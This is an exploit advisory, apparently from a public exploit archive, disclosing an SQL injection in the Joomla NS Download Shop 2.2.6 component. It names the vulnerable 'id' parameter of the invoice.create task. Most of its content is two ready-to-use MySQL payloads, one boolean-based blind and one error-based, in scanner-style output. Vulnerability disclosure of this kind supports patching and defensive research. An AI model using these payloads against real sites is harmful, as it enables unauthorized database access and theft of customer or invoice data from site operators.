Joomla NS Download Shop 2.2.6 SQL Injection

2017.10.01
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# # # # # # Exploit Title: Joomla! Component NS Download Shop 2.2.6 - SQL Injection # Dork: N/A # Date: 29.09.2017 # Vendor Homepage: https://nswd.co/ # Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/paid-downloads/ns-downloadshop/ # Demo: https://ds.nswd.co/ # Version: 2.2.6 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # http://localhost/[PATH]/index.php?option=com_ns_downloadshop&task=invoice.create&id=[SQL] # # Parameter: id (GET) # Type: boolean-based blind # Title: MySQL >= 5.0 boolean-based blind - Parameter replace # Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT (CASE WHEN (5078=5078) THEN 5078 ELSE 5078*(SELECT 5078 FROM INFORMATION_SCHEMA.PLUGINS) END)) # # Type: error-based # Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR) # Payload: option=com_ns_downloadshop&task=invoice.create&id=(SELECT 2458 FROM(SELECT COUNT(*),CONCAT(0x716b626a71,(SELECT (ELT(2458=2458,1))),0x7178627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) # # Etc.. # # # # #


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